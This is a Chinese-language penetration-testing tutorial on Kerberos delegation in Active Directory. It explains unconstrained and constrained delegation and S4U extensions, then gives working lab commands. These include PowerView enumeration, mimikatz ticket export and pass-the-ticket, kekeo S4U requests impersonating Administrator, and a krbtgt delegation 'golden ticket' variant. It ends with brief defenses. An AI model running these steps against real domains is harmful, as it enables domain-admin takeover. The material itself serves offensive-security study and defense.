什么是委派

如果在一个域中,A使用Kerberos身份验证访问服务BB再使用A的身份去访问C,这个过程就可以理解为委派,委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两种,只有当A有权限访问C的时候才能委派成功,因为B使用的是A的身份去访问C

非约束委派

非约束委派在Kerberos中实现时,User会从KDC处得到的TGT发送给委派对象Service1Service1拿到TGT后可以通过TGT访问域内任意其它服务,所以被称为非约束委派
实现流程图如下(图来自微软手册)
![1](./images/1.png)

1.用户通过发送KRB_AS_REQ消息请求可转发 TGT(forwardable TGT,为了方便我们称为TGT1)。

2.KDC在KRB_AS_REP消息中返回TGT1。

3.用户再通过TGT1向KDC请求转发TGT(forwarded TGT,我们称为TGT2)。

4.在KRB_TGS_REP消息中返回转发TGT2。

5.用户使用TGT1向KDC申请访问Service1的ST(Service Ticket)。

6.TGS返回给用户一个ST。

7.用户发送KRB_AP_REQ请求至Service1,这个请求中包含了TGT1和ST、TGT2、TGT2的SessionKey。

8.Service1使用用户的TGT2通过KRB_TGS_REQ发送给KDC,以用户的名义请求能够访问Service2的票据。

9.KDC在KRB_TGS_REP消息中返回Service2到Service1的票据。

10.Service1以用户的名义像Service2发送KRB_AP_REQ请求。

11.Service2响应步骤10中Service1的请求。

12.Service1响应步骤7中用户的请求。

13.在这个过程中的TGT转发机制,没有限制Service1对TGT2的使用,也就是说Service1可以通过TGT2来请求任意服务。

14.KDC返回步骤13中请求的票据。

15和16即为Service1通过模拟用户来访问其他Service

非约束委派设置:
![2](./images/2.png)

约束委派

由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能。约束委派在KerberosUser不会直接发送TGT给服务,而是对发送给service1的认证信息做了限制,不允许service1代表User使用这个TGT去访问其他服务。这里包括一组名为S4U2Self(Service for User to Self)S4U2Proxy(Service for User to Proxy)Kerberos协议扩展
S4U2SelfS4U2proxy的请求过程(图来自微软手册):
![3](./images/3.png)

1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。

2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。

3. KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。

4. service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。
注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了

5. 用户向service1发出请求,service1需要以用户身份访问service2上的资源。

6. service1以用户的名义向KDC请求用户访问service2的ST2

7. 如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。

8. service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。

9. service2响应步骤8的请求。

10. service1响应用户对步骤5中的请求。

约束委派的设置:
![4](./images/4_1.png)
然后就可以添加允许委派请求的服务了

发现域中委派的计算机和用户

PowerView

Powerview有两个版本,一个在dev分支:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
一个在master分支:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
dev分支能够使用Get-DomainUser查询域中约束委派的计算机和用户而master分支目前我还不知道怎么查询,dev分支查询的信息更详细一些

非约束委派

这里使用的是master分支
查询域中所有非约束委派用户

Get-NetUser -Unconstrained -Domain de1ay.com

当然我这里没有设置,所以查询结果为空
![5](./images/5.png)
查询域中所有非约束委派计算机

Get-NetComputer -Unconstrained -Domain de1ay.com

![6](./images/6.png)

约束委派

这里使用的是dev分支
查询域中所有约束委派用户

Get-DomainUser –TrustedToAuth -domain de1ay.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

![7](./images/7.png)
查找域中配置约束委派的主机:

Get-DomainComputer -TrustedToAuth -Domain de1ay.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

![8](./images/8.png)

域委派攻击

假设我们现在已经获取域内一个已经配置了委派的账户权限或是密码,现在我们通过这个条件来攻击其它账户

非约束委派攻击利用

在一个域中只有服务账号才有委派功能,使用如下命令将ghtwf01设为服务账号

setspn -U -A variant/golden ghtwf01

![9](./images/9.png)
通过setspn -l ghtwf01查看是否成功设置
![10](./images/10.png)
然后将ghtwf01设置为非约束委派
![11](./images/11_1.png)
然后诱导域管理员登录ghtwf01服务账号所在主机,方法很多,比如WinRM服务远程连接或者域管理员账号登录目标主机等
这个时候域管理员的TGT已经缓存到域成员主机了,使用mimikatz就可以导出
使用sekurlsa::tickets /export命令导出内存中所有的票据(需要管理员或者系统权限)
![13](./images/13_1.png)
圈内文件就是Administrator发送的TGT
这个时候访问域控目录是权限不够的
![14](./images/14.png)
利用kerberos::pttAdministratorTGT导入,这个时候就能成功访问域控目录了
![15](./images/15_2.png)
一句话总结非约束委派攻击,其实就是诱导某用户访问这台主机这个服务账号得到它的TGT,就能利用它的身份去访问所有服务了,这里举的例子就是诱导域管理员访问,得到域管理员的TGT从而拥有域管理员权限

约束委派攻击利用

ghtwf01账户设置为约束委派
![16](./images/16.png)
使用powerview验证一下是否成功设置,查询一下约束委派用户
![17](./images/17.png)
已知ghtwf01账户密码就可以直接使用kekeo向域控发起申请TGT的请求

tgt::ask /user:ghtwf01 /domain:de1ay.com /password:1qaz@WSX /ticket:ghtwf01.kirbi

![18](./images/18.png)
然后利用得到的TGTTGS申请ST票据

tgs::s4u /tgt:TGT_ghtwf01@DE1AY.COM_krbtgt~de1ay.com@DE1AY.COM.kirbi /user:Administrator@de1ay.com /service:cifs/DC.de1ay.com

![19](./images/19.png)
现在这个账户是没有权限的
![20](./images/20.png)
ST票据导入,成功访问域控(cifs服务)
![21](./images/21.png)

利用约束委派打造变种黄金票据

拿下域控后可以通过抓取krbtgthash来构造黄金票据,通过约束委派也能达到同样的效果,也算是一种操作思路
在域控管理界面中无法添加访问krbtgt,但是可以利用ActiveDirectorypowershell中添加

Import-Module ActiveDirectory
$user = Get-ADUser ghtwf01
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/de1ay.com") }

这个时候发现成功添加
![22](./images/22.png)
既然可以访问krbtgt了,那么也就可以获取任意用户的TGT
先使用kekeo获取ghtwf01的用户的TGT,和上面一样

tgt::ask /user:ghtwf01 /domain:de1ay.com /password:1qaz@WSX /ticket:ghtwf01.kirbi

然后通过ghtwf01TGTkrbtgt获取AdministratorTGT

tgs::s4u /tgt:TGT_ghtwf01@DE1AY.COM_krbtgt~de1ay.com@DE1AY.COM.kirbi /user:Administrator@de1ay.com /service:krbtgt/de1ay.com

然后将得到的票据通过kerberos::ptt导入就能以域管理员身份访问域控
![23](./images/23.png)
通过Enter-PSSession或者psexec或者wmiexec都可以拿shell执行命令

防御方法

1.高权限用户设置不能被委派
![24](./images/24.png)
2.使用受保护的用户组Protected Users(windows server 2012以上才有)
![25](./images/25.png)

参考链接

https://xz.aliyun.com/t/2931
https://paper.seebug.org/620/
https://xz.aliyun.com/t/7217
https://www.anquanke.com/post/id/173477